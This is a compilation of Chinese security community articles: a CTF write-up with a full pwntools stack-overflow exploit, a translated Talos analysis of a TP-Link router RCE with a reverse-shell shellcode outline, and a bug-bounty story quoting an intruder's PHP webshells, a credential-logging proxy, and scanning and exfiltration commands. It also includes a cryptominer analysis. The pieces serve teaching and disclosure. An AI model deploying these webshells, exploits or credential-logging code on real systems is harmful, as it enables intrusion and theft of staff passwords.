<https://a.ndronic.us/guides/metasploit/html/index.html>
将Raspberry PI 3设置为AWS VPN客户网关
<https://hackernoon.com/setup-raspberry-pi-3-as-aws-vpn-customer-gateway-7432f653707>
CRANKSHAFT: OPEN SOURCE CAR COMPUTER
<https://hackaday.com/2018/02/26/crankshaft-open-source-car-computer/>
<https://github.com/htruong/crankshaft>
CloudMe Sync 1.10.9 – 基于堆栈的缓冲区溢出
<https://www.exploit-db.com/exploits/44175/>
Disk Savvy Enterprise 10.4.18 – 基于堆栈的缓冲区溢出
<https://www.exploit-db.com/exploits/44174/>
AsusWRT局域网 – 未经身份验证的远程执行代码
<https://www.exploit-db.com/exploits/44176/>
JavaScript的反调试技术（上篇）
<http://www.4hou.com/technology/10470.html>
基于 S2E 符号执行分析平台自动化地发现漏洞、生成 PoC
<https://github.com/S2E/docs/blob/master/src/Tutorials/pov.rst>
WebEye-自动化恶意 HTTP 流量收集工具
<https://arxiv.org/pdf/1802.06012.pdf>
CloudMapper创建AWS环境的网络图
<https://github.com/duo-labs/cloudmapper>
Puszek—— linux rootkit
<https://github.com/Eterna1/puszek-rootkit> | 社区文章 |
[Vulhub](https://github.com/vulhub/vulhub)是一个面向大众的开源漏洞靶场，无需docker知识，简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。
Vulhub从2017年4月9号第一次commit，到2018年9月，持续更新近一年半，已经积累100余环境、900多次提交、2000多stars，几乎包括近年来所有热门漏洞，对于漏洞学习者、安全工作者来说，都是一个非常有力的辅助工具。
今年9月，为了更大地利用开源社区的力量，我们做了（将要做）一些事情：
1. 在聊天室里更加实时的沟通：[Discord](https://discordapp.com/invite/bQCpZEK)
2. 开始在正式渠道接受赞助商/支持者的赞助：[Pateron](https://www.patreon.com/bePatron?u=12677520)、[Open Collective](https://opencollective.com/vulhub#backer)，并展示赞助商的LOGO
3. 在[Crowdin](https://crowdin.com/project/vulhub)建立项目，正式开始国际化进程
4. 招募一起做事的小伙伴（感兴趣的小伙伴可以在discord里私聊我）
下一步具体要做的一些事情：
1. 日常
* 增加更多漏洞环境
* 改进老环境
2. 国际化
* README国际化
* 官网国际化
3. 解决git项目整体过大，导致使用不方便的问题
* 按需下载（只下载需要复现的环境）
4. 官网改进与持续维护
5. 整体备份
* 备份所有已经编译好的Docker镜像
* 编译所有vulhub中用到的软件安装包、源码等
6. 更多可能的实验性尝试
* 图形化vulhub
* 不定期讲座：安全与漏洞学习、Docker与docker-compose使用技巧、开源项目发展
* 项目推广：blog、视频、Twitter
因为已经有赞助商，所以vulhub会慢慢扩展自己的玩法，也想让更多人，不只是国内安全圈知道这个项目。热心参与开源社区内活跃的小伙伴，你能获得的回报，包括但不限于：
1. 物质上的奖励
2. 交流/学习所有和vulhub技术栈相关的技术
3. 开源社区/安全圈相关经验与荣誉
当然，参与vulhub也有一定的要求：
1. 热心开源项目，熟悉Git工作流
2. 接受vulhub的核心思想，并愿意按照我们的工作流参与开发
3. 对于参与国际化的同学，需要有英语写作能力
4. 对于参与官网等周边开发的同学，至少熟悉JavaScript、Python中一门语言
5. 对于参与vulhub持续更新的同学，需要熟悉Linux、Docker、Git等工具的使用
如果有兴趣，可以简单填写一下表格，在聊天室里发给 @phith0n ；如果因为各种原因无法参与贡献，也欢迎在聊天室里与我们交流。
附：
> 你的ID：
> 你的Github主页：
> 希望参与哪些工作：
> 你的邮箱： | 社区文章 |
# ciscn 2021 Final Day2 Message Board 思路分享
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
今年华为之夜没有中奖，看来抽奖致富不可取，还是要树立勤劳致富的正确态度。所以就让我来分享一下今天刚打的`httpd`
[附件](https://wwa.lanzoui.com/iPBQdrl67de)(附件不包含html网页，不能用浏览器访问这个题)
## 0x01 程序分析
首先看main函数，似乎整个main都没干啥实际有用的东西，最后跟进`sub_804906C(s);`
这里是程序逻辑的核心。首先理清程序大致的一个逻辑。这其中有一个if语句是区分POST和GET的，GET分支的语句基本上就是读取文件然后输出的逻辑。POST语句中submit似乎有点复杂，我们细看这里的变量传递
如果Message里面没有以“|”结尾的情况，那就要—n。可是问题来了，假如这里的n是0，到时候—n，则`n=0xffffffff`,到下面的`fread`就会造成一个栈溢出。
## 0x02 漏洞利用
### EOF
那看起来似乎是很简单的一个栈溢出？那么你现在首先到达第一个坑点：无法停止读取stdin。细想一下`fread`函数从文件流里读取字符，参数又指定了大小，那么只有`EOF`才能让他停止。所以我们这里理论上只能发送一次ROP链，而且需要让`pwntool`发送`EOF`。查询资料得知：
p = remote(xxxx,xx)
p.shutdown_raw('send')
可以断开EOF了，我们根据之前访问时的预留的Message对返回地址长度进行动态测量。在我这里大致的HTTP请求偏移0x82d
p1 = cyclic(0x82d) + p32(0)
payload = '''POST /submit HTTP/1.1
Content-Length: 0
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: Username=88888; Messages=Gyan
{}'''.format(p1)
### Gadget
细看函数表发现这里没法用常规的思路，一方面只能溢出一次就要点开连接似乎没法泄露`libc`地址，另一方面这里每一个读写函数都要用到文件流
那我就退一步吧！不拿shell，读个文件就行了吧！这里我们可以想到一个地方
这个函数是封装的读取文件函数。我们劫持到这里可能就可以成功
这里的EBP被栈溢出覆盖了，所以我们需要找到一个可控的地址来写文件名就可以成功！
### bss段上的dest
翻看全局变量，我们发现了一个`dest`变量，逆向分析得知他似乎是来装一个HTTP头的，我们断在我们的gadget处看一下dest现在长啥样
哈哈，因为一般电脑上`User-Agent` 很长，我这里是
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
结果只剩下了
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
那我把这剩下这段改成`/flag`就不是可以任意文件读啦？
这里的地址是`0x804c1b1` 加上EBP偏移就是`0x804C5DD`
所以最终的payload就是：
p1 = cyclic(0x829) +p32(0x804C5DD) + p32(0x8049305)
payload = '''POST /submit HTTP/1.1
Content-Length: 0
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; /flag
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: Username=88888; Messages=Gyan
{}'''.format(p1)
payload = payload.replace("\n","\r\n")
exp：
from pwn import *
context.log_level = "debug"
p = process(['./httpd'])
# p = remote("10.1.136.10",10000)
elf = ELF("./httpd")
p1 = cyclic(0x829) +p32(0x804C5DD) + p32(0x8049305)
payload = '''POST /submit HTTP/1.1
Content-Length: 0
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; /flag
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: Username=88888; Messages=Gyan
{}'''.format(p1)
payload = payload.replace("\n","\r\n")
p.send(payload)
p.shutdown_raw('send')
p.interactive()
## 0x03总结：
这个题非常有意思，一方面比较贴近实战，另一方面让我这个只会栈溢出的菜鸡给我们菜队贡献了一份力量，稳住了排名
## 0x04 patch:
patch 我觉得是作者故意留给你一段代码可以让你可以只patch一个字节
这里的if是判断v14是否是负数，可是v14本身是无符号数，再加上前面的判断就可以完成本身的功能了，所以这里我们把汇编代码对应的`jns`改成`jnz`即可
## 0x05 参考资料：
<https://blog.csdn.net/weixin_43921239/article/details/117341777> | 社区文章 |
# TP-Link TL-R600VPN远程代码执行漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 Talos，文章来源：talosintelligence.com
原文地址：<https://blog.talosintelligence.com/2019/01/vulnerability-deep-dive-tp-link.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、简介
TP-Link最近修补了[TL-R600VPN](https://www.tp-link.com/us/products/details/cat-4909_TL-R600VPN.html)路由器中的三个漏洞，固件版本1.3.0。在与TP-Link协商后，思科公开披露这些漏洞，并给出解决方案，本篇文章对这些漏洞的内部工作方式进行深入研究，并给出概念验证的方法。
## 二、背景
TL-R600VPN是一款由TP-Link生产的小型办公室/家庭路由器，该路由器在芯片上集成了Realtek
RTL8198系统，该芯片使用了Lexra开发的MIPS-1架构的分支版本，除了一些存储和对齐指令不同，其它指令集基本相同。Lexra中并没有LWL,
SWL, LWR和SWR等指令的说明，这些专有指令通常在MIPS-1架构编译程序时使用。在Lexra中使用会产生段错误。
有关Lexra MIPS与MIPS-1两者之间更多的比较信息，请参考文章[The Lexra
Story](http://probell.com/lexra/)和[MIPS-1 patent
filing](https://patents.google.com/patent/US4814976A/en)。
## 三、漏洞细节
当该设备的HTTP服务器处理对/fs/目录的请求时会触发漏洞，该漏洞允许经身份验证的攻击者远程执行载荷代码。
当访问/fs/目录中的以下任何页面时，应用程序会错误的解析HTTP标头。
http://<router_ip>/fs/help
http://<router_ip>/fs/images
http://<router_ip>/fs/frames
http://<router_ip>/fs/dynaform
http://<router_ip>/fs/localiztion (NOTE: this is not a typo)
在函数”httpGetMimeTypeByFileName”中，Web服务器尝试解析所请求页面的文件扩展名以确定mime类型，在这个过程中，服务器会使用strlen()函数计算所请求页面名称的长度，在堆中查找并匹配该字符串末尾，然后读取文件扩展名，遇到字符”.”(0x2e)结束。
在请求页面上应始终包含扩展名，以防止解析错误。下面是相关例子，在/web/dynaform/css_main.css页面的GDB字符串输出中，可以看到解析后的文件扩展名为’css’。
但是，如果我们请求一个易受攻击的页面，如下所示，我们可以看到解析的URI并不包含字符”.”(0x2e)，因此，应用程序会继续向后搜索。这导致可以搜索到一些有效负载。
如下所示，在对/fs/help页面的GDB字符串输出中（0x67a170），并没有解析到文件扩展名。
当遇到字符”.”（0x2e）后，会调用toUpper()函数处理提取到的字符串，然后通过存储指令将该操作的结果写入基于堆栈的缓冲区，如下所示：
程序继续执行，在运行httpGetMimeTypeByFileName函数后，堆栈上会保存返回值和5个寄存器的数值，当该漏洞被利用时，这些值会被覆盖。
在该函数的结尾，会将数据复制到缓冲区并覆盖堆栈上的原始数据，通过弹出堆栈，用户可以控制返回地址，也意味着用户能够在HTTPD进程的上下文中执行远程代码。
**toUpper()函数分析**
在解析HTTP标头时，设备会迭代每个字节，构建缓冲区。直到匹配到0x2e。随后将调用toUpper()函数，并把缓冲区作为参数。该函数是将缓冲区的每个ASCII字符转换为大写。
在用HTTP标头发送shellcode时会产生问题，因为会调用toUpper()函数，导致阻止使用任何小写字符，如下所示：
我们通过查看httpGetMimeTypeByFileName函数结尾处最后一次跳转前寄存器的值，可观察到标头的字符’a’（0x61）已经转换为大写（0x41）。如下图所示：
通过对寄存器的观察，我们可以在toUpper()函数被调用后，找到一些可预测的数据及位置。
虽然会影响httpGetMimeTypeByFileName函数结尾处的最后一次跳转，但我们可以通过检查堆栈上的数据，找到大写的标题数据（包括有效负载）存储位置。
相比之下，如果我们检查寄存器$s5指向的位置所存储的数据，我们会看到原始数据头仍然可访问。
我们发现该部分内存的权限显示可执行，可以直接跳转到原始标头。
**绕过toUpper()**
为了解决toUpper()函数带来的问题，我们创建了一小段memcpy()的代码，它在获取$ra的控制权后不使用任何小写字符或空字符来执行。这样我们就能将原始标头数据复制到堆栈中并跳转执行。
我们使用了一种改进的ret2libc技术，该技术允许我们利用uClibc中的组件获取指向堆栈的指针，并为我们的代码设置寄存器，这样我们便可以获得memcpy()函数的执行结果。
第一个组件位于uClibc偏移地址0x0002fc84处，用于将堆栈指针递增0x20。我们将第二个组件的地址放在0x20+$sp处，如下所示：
位于uClibc偏移地址0x000155b0处的第二个组件用于获取指向递增的堆栈缓冲区的指针。然后将所需的指针放入寄存器$a1，我们将第三个组件的地址放在0x58+$sp处。如下所示：
最后，位于uClibc偏移地址0x000172fc处的组件用于跳转到堆栈缓冲区。
我们需要获取uClibc的加载地址，以便于我们计算使用这些组件的真是偏移，通过查看下面的进程内存映射，我们可以看到uClibc的可执行版本加载到地址0x2aaee000处。
通过获取uClibc的加载地址并添加到每个组件，我们可以获得所需代码的可用地址，进而执行我们的代码和有效负载。
**LexraMIPS shellcode**
虽然LexraMIPS基于MIPS规范，但在尝试执行某些MIPS指令时，会存在一些偏差，导致与预期的结果不同。因此，我们选择用GCC开发的LexraMIPS下的shellcode。下面的代码采用回连攻击者的方法，将stdin，stdout和stderr复制到socket（套接字）中，最后生成一个shell。
我们首先在设备上打开一个socket，并防止$t7寄存器包含null字符，值得注意的是，MIPS $zero寄存器在使用时不包含null字符。
打开socket后，我们使用connect
syscall创建设备到攻击者的TCP连接，在这个步骤中，null字符的处理是关键问题，因为此设备的默认子网包含0，为了避免该问题，我们使用了一种技术方法，该方法强制寄存器值溢出并产生所需ip地址时没有null字符。
为确保设备接受我们的输入并正确显示任何输出，我们需要复制stdin，stdout和stderr的文件描述符到socket中，这样我们便可以查看任何输出。
最后，我们使用execve系统调用在设备上生成shell，该shell是我们的socket生成，并且我们控制了stdin，stdout和stderr。我们可以通过远程控制新的shell。
## 四、总结
不幸的时，这种类型的漏洞在物联网设备中很常见，攻击者可以通过这些漏洞进行攻击，所以每个人都必须提高物联网安全意识。 | 社区文章 |
> By [Orange Tsai](http://blog.orange.tw/)
### 写在故事之前
身为一位渗透测试人员，比起Client Side 的弱点我更喜欢Server Side 的攻击，能够直接的控制伺服器、获得权限操作SHELL
才爽<(￣︶￣)>
当然一次完美的渗透任何形式的弱点都不可小觑，在实际渗透时偶尔还是需要些Client Side
弱点组合可以更完美的控制伺服器，但是在寻找弱点时我本身还是先偏向以可直接进入伺服器的方式来去寻找风险高、能长驱直入的弱点。
随着Facebook在世界上越来越火红、用户量越来越多，一直以来都有想要尝试看看的想法，恰巧Facebook在2012年开始有了[Bug
Bounty](https://www.facebook.com/whitehat/)奖金猎人的机制让我更跃跃欲试。
一般如由渗透的角度来说习惯性都会从收集资料、侦查开始，首先界定出目标在网路上的“范围” 有多大，姑且可以评估一下从何处比较有机会下手。例如:
* Google Hacking 到什么资料?
* 用了几个B 段的IP ? C 段的IP ?
* Whois? Reverse Whois?
* 用了什么域名? 内部使用的域名? 接着做子域名的猜测、扫描
* 公司平常爱用什么样技术、设备?
* 在Github, Pastebin 上是否有泄漏什么资讯?
* …etc
当然Bug Bounty 并不是让你无限制的攻击，将所搜集到的范围与Bug Bounty 所允许的范围做交集后才是你真正可以去尝试的目标。
一般来说大公司在渗透中比较容易出现的问题点这里举几个例子来探讨
1. 对多数大公司而言，” **网路边界** ”是比较难顾及、容易出现问题的一块，当公司规模越大，同时拥有数千、数万台机器在线，网管很难顾及到每台机器。在攻防里，防守要防的是一个面，但攻击只需找个一个点就可以突破，所以防守方相对处于弱势，攻击者只要找到一台位于网路边界的机器入侵进去就可以开始在内网进行渗透了!
2. 对于“ **连网设备** ”的安全意识相对薄弱，由于连网设备通常不会提供SHELL给管理员做进一步的操作，只能由设备本身所提供的介面设定，所以通常对于设备的防御都是从网路层来抵挡，但如遇到设备本身的0-Day或者是1-Day可能连被入侵了都不自觉。
3. 人的安全，随着“ **社工库** ”的崛起，有时可以让一次渗透的流程变得异常简单，从公开资料找出公司员工列表，再从社工库找到可以登入VPN的员工密码就可以开始进行内网渗透，尤其当社工库数量越来越多“ **量变成质变** ”时只要关键人物的密码在社工库中可找到，那企业的安全性就全然突破:P
理所当然在寻找Facebook 弱点时会以平常进行渗透的思路进行，在开始搜集资料时除了针对Facebook 本身域名查询外也对注册信箱进行Reverse
Whois 意外发现了个奇妙的域名名称
tfbnw.net
TFBNW似乎是“ **TheFacebook Network** ”的缩写
再藉由公开资料发现存在下面这台这台伺服器
vpn.tfbnw.net
哇! vpn.tfbnw.net 看起来是个Juniper SSL VPN
的登入介面，不过版本满新的没有直接可利用的弱点，不过这也成为了进入后面故事的开端。
TFBNW 看似是Facebook 内部用的域名，来扫扫vpn.tfbnw.net 同网段看会有什么发现
* Mail Server Outlook Web App
* F5 BIGIP SSL VPN
* CISCO ASA SSL VPN
* Oracle E-Business
* MobileIron MDM
从这几台机器大致可以判断这个网段对于Facebook 来说应该是相对重要的网段，之后一切的故事就从这里开始。
* * *
### 弱点发现
在同网段中，发现一台特别的伺服器
files.fb.com
_↑ files.fb.com 登入介面_
从LOGO 以及Footer 判断应该是Accellion 的Secure File Transfer (以下简称FTA)
FTA 为一款标榜安全档案传输的产品，可让使用者线上分享、同步档案，并整合AD, LDAP, Kerberos 等Single Sign-on
机制，Enterprise 版本更支援SSL VPN 服务。
首先看到FTA 的第一件事是去网路上搜寻是否有公开的Exploit 可以利用，Exploit 最近的是由HD Moore 发现并发布在Rapid7
的这篇Advisory
* [Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)](https://community.rapid7.com/community/metasploit/blog/2015/07/10/r7-2015-08-accellion-file-transfer-appliance-vulnerabilities-cve-2015-2856-cve-2015-2857)
弱点中可直接从“ **/tws/getStatus**
”中泄漏的版本资讯判断是否可利用，在发现files.fb.com时版本已从有漏洞的0.18升级至0.20了，不过就从Advisory中所透露的片段程式码感觉FTA的撰写风格如果再继续挖掘可能还是会有问题存在的，所以这时的策略便开始往寻找FTA产品的0-Day前进!
不过从实际黑箱的方式其实找不出什么问题点只好想办法将方向转为白箱测试，透过各种方式拿到旧版的FTA 原始码后终于可以开始研究了!
整个FTA 产品大致架构
1. 网页端介面主要由Perl 以及PHP 构成
2. PHP 原始码皆经过IonCube 加密
3. 在背景跑了许多Perl 的Daemon
首先是解密IonCude 的部分，许多设备为了防止自己的产品被检视所以会将原始码加密，不过好在FTA 上的IonCude
版本没到最新，可以使用现成的工具解密，不过由于PHP 版本的问题，细节部份以及数值运算等可能要靠自己修复一下，不然有点难看…
经过简单的原始码审查后发现，好找的弱点应该都被Rapid7找走了T^T
而需要认证才能触发的漏洞又不怎么好用，只好认真点往深层一点的地方挖掘!
经过几天的认真挖掘，最后总共发现了七个弱点，其中包含了
* Cross-Site Scripting x 3
* Pre-Auth SQL Injection leads to Remote Code Execution
* Known-Secret-Key leads to Remote Code Execution
* Local Privilege Escalation x 2
除了回报Facebook 安全团队外，其余的弱点也制作成Advisory 提交Accellion 技术窗口，经过厂商修补提交CERT/CC 后取得四个CVE
编号
* CVE-2016-2350
* CVE-2016-2351
* CVE-2016-2352
* CVE-2016-2353
详细的弱点细节会待Full Disclosure Policy 后公布!
_↑ 使用Pre-Auth SQL Injection 写入Webshell_
在实际渗透中进去伺服器后的第一件事情就是检视当前的环境是否对自己友善，为了要让自己可以在伺服器上待的久就要尽可能的了解伺服器上有何限制、纪录，避开可能会被发现的风险:P
Facebook 大致有以下限制:
1. 防火墙无法连外, TCP, UDP, 53, 80, 443 皆无法
2. 存在远端的Syslog 伺服器
3. 开启Auditd 记录
无法外连看起来有点麻烦，但是ICMP Tunnel 看似是可行的，但这只是一个Bug Bounty Program 其实不需要太麻烦就纯粹以Webshell
操作即可。
* * *
### 似乎有点奇怪?
正当收集证据准备回报Facebook 安全团队时，从网页日志中似乎看到一些奇怪的痕迹。
首先是在“ **/var/opt/apache/php_error_log**
”中看到一些奇怪的PHP错误讯息，从错误讯息来看似乎像是边改Code边执行所产生的错误?
_↑ PHP error log_
跟随错误讯息的路径去看发现疑似前人留下的Webshell 后门
_↑ Webshell on facebook server_
其中几个档案的内容如下
**sshpass**
沒錯，就是那個 sshpass
bN3d10Aw.php
<?php echo shell_exec($_GET['c']); ?>
uploader.php
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
d.php
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
sclient_user_class_standard.inc
<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a");
$retries = 0;
$max_retries = 100;
// 省略...
fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n");
// 省略...
前几个就是很标准的PHP一句话木马
其中比较特别的是“ **sclient_user_class_standard.inc** ”这个档案
include_once中“ **sclient_user_class_standard.inc.orig**
”为原本对密码进行验证的PHP程式，骇客做了一个Proxy在中间并在进行一些重要操作时先把GET, POST, COOKIE的值记录起来
整理一下，骇客做了一个Proxy 在密码验证的地方，并且记录Facebook 员工的帐号密码，并且将记录到的密码放置在Web
目录下，骇客每隔一段时间使用wget 抓取
wget https://files.fb.com/courier/B3dKe9sQaa0L.log
_↑ Logged passwords_
从纪录里面可以看到除了使用者帐号密码外，还有从FTA 要求档案时的信件内容，记录到的帐号密码会定时Rotate (后文会提及，这点还满机车的XD)
发现当下，最近一次的Rotate从2/1记录到2/7共约300笔帐号密码纪录，大多都是“ **@fb.com** ”或是“
**@facebook.com** ”的员工帐密，看到当下觉得事情有点严重了，在FTA中，使用者的登入主要有两种模式
1. 一般用户注册，密码Hash 存在资料库，由SHA256 + SALT 储存
2. Facebook 员工(@fb.com) 则走统一认证，使用LDAP 由AD 认证
在这里相信记录到的是真实的员工帐号密码， ** _\_ 猜测** **这份帐号密码应该可以通行Facebook Mail OWA,
VPN等服务做更进一步的渗透…
此外，这名“骇客” 可能习惯不太好:P
1. 后门参数皆使用GET 来传递，在网页日志可以很明显的发现他的足迹
2. 骇客在进行一些指令操作时没顾虑到STDERR ，导致网页日志中很多指令的错误讯息，从中可以观察骇客做了哪些操作
从access.log 可以观察到的每隔数日骇客会将记录到的帐号密码清空
192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...
打包档案
cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files
对内部网路结构进行探测
dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...
使用Shell Script 进行内网扫描但忘记把STDERR 导掉XD
尝试对内部LDAP 进行连接
sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'
尝试访问内部网路资源
(看起来Mail OWA可以直接访问…)
--20:38:09-- https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10-- https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'
0K ........ 100% 1.17G=0s
20:38:10 (1.17 GB/s) - `-' saved [8902/8902]
--20:38:33-- (try:15) https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03-- https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.
尝试对SSL Private Key 下手
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input
从浏览器观察files.fb.com 的凭证还是Wildcard 的*.fb.com …
* * *
### 后记
在收集完足够证据后便立即回报给Facebook 安全团队，回报内容除了漏洞细节外，还附上相对应的Log 、截图以及时间纪录xD
从伺服器中的日志可以发现有两个时间点是明显骇客在操作系统的时间，一个是七月初、另个是九月中旬
七月初的动作从纪录中来看起来比较偏向“逛”伺服器，但九月中旬的操作就比较恶意了，除了逛街外，还放置了密码Logger等，至于两个时间点的“骇客”是不是同一个人就不得而知了:P
而七月发生的时机点正好接近CVE-2015-2857 Exploit公布前，究竟是透过1-Day还是无0-Day入侵系统也无从得知了。
这件事情就记录到这里，总体来说这是一个非常有趣的经历xD
也让我有这个机会可以来写写关于渗透的一些文章:P
最后也感谢Bug Bounty 及胸襟宽阔的Facebook 安全团队让我可以完整记录这起事件: )
* * *
## Timeline
* 2016/02/05 20:05 提供漏洞详情给Facebook 安全团队
* 2016/02/05 20:08 收到机器人自动回覆
* 2016/02/06 05:21 提供弱点Advisory 给Accellion 技术窗口
* 2016/02/06 07:42 收到Thomas 的回覆，告知调查中
* 2016/02/13 07:43 收到Reginaldo 的回覆，告知Bug Bounty 奖金$10000 USD
* 2016/02/13 询问是否撰写Blog 是否有任何要注意的地方?
* 2016/02/13 询问此漏洞被认为是RCE 还是SQL Injection
* 2016/02/18 收到Reginaldo 的回覆，告知正在进行调查中，希望Blog 先暂时不要发出
* 2016/02/24 收到Hai 的回覆，告知奖金将会于三月发送
* 2016/04/20 收到Reginaldo 的回覆，告知调查已完成 | 社区文章 |
作者：murphyzhang@云鼎实验室
公众号：云鼎实验室
### 一、前言
腾讯安全云鼎实验室通过部署的威胁感知系统捕获了一批挖矿样本（具有同源性），是一批可挖取门罗币(xmr)的挖矿病毒。这批样本今年5月开始出现，目前各大杀软对此样本基本无法有效查杀，腾讯云云镜第一时间跟进查杀。根据进一步溯源的信息可以推测该挖矿团伙利用被入侵的博彩网站服务器进行病毒传播。分析显示，此挖矿样本不具有传播性，总体结构式是
Loader + 挖矿子体，挖矿团伙通过控制的机器进行远程 SSH
暴力破解并将病毒进行传播。由于目前能对付此病毒的杀软极少，且该病毒通过入侵的赌博网站服务器进行病毒传播、挖矿，让真相扑朔迷离，云鼎实验室威胁情报小组将本次门罗币挖矿新家族命名为「罗生门」。
### 二、病毒母体分析
挖矿样本通过母体释放挖矿子体，母体是 Loader ，释放挖矿子体，执行挖矿子体。母体本身不包含 SSH 爆破等蠕虫动作，子体就是单纯的挖矿代码（加壳变形
UPX）。通过观测发现，进行 SSH 爆破的主机 IP
较少且固定，可以认定为固定机器，使用工具进行扫描、爆破。通过这种广撒网的方式，犯罪团伙能收获不少门罗币。
攻击流程图：
攻击过程示意：
攻击日志来源：<http://bikewiki.jp:5000/app/2018/07/27/073148-4879.log>
母体 Loader 详细分析：
母体 Loader 的行为包含自启动和释放运行文件两个部分。
自启动代码：
在函数 main_Boot 中通过 sed 编辑 rc.local 和 boot.local 来进行自启动。
释放文件：
执行文件：
### 三、病毒子体分析
通过对挖矿样本进行分析发现，子体是一个加壳后的标准矿机程序，子体加壳也是导致杀软无法查杀的一个方式。子体加壳为 UPX
变形壳，可以抵抗通用脱壳机的脱壳。手动脱壳后发现为标准挖矿程序（开源矿机程序）。
相关开源项目连接为：
<https://github.com/sumoprojects/cryptonote-sumokoin-pool>
### 四、矿池分析与统计
据观测今年5月至9月初，蜜罐捕获的「罗生门」挖矿病毒累计挖出约12.16个门罗币，价值约1w人民币（2018年10月8日，门罗币价格为114.2
USD，合计1388.67美金），算力为8557H/S,大约是皮皮虾矿池的百分之一算力。从算力上看，这种广撒网式的传播，也能有一定的规模。
挖矿样本执行挖矿的命令如下：
-B -o stratum+tcp://mine.ppxxmr.com:7777 -u 41tPS2hg6nc6DWNXDiWG7ngGSnLAaw4zmBeM478r1tkZDGH1y8aFPDiDqAFN8LouyAXTxtrLVigmRgLXytezCM'Qf1FwzqEi-p x -k --max-cpu-usage=75
从挖矿命令中可知，挖矿样本对 CPU 利用率有一定的限制，最大 CPU 使用量为75%。
挖矿样本针对的矿池地址和门罗币(xmr)产量如下：
对应的钱包地址为：
钱包地址：
45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT
45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT
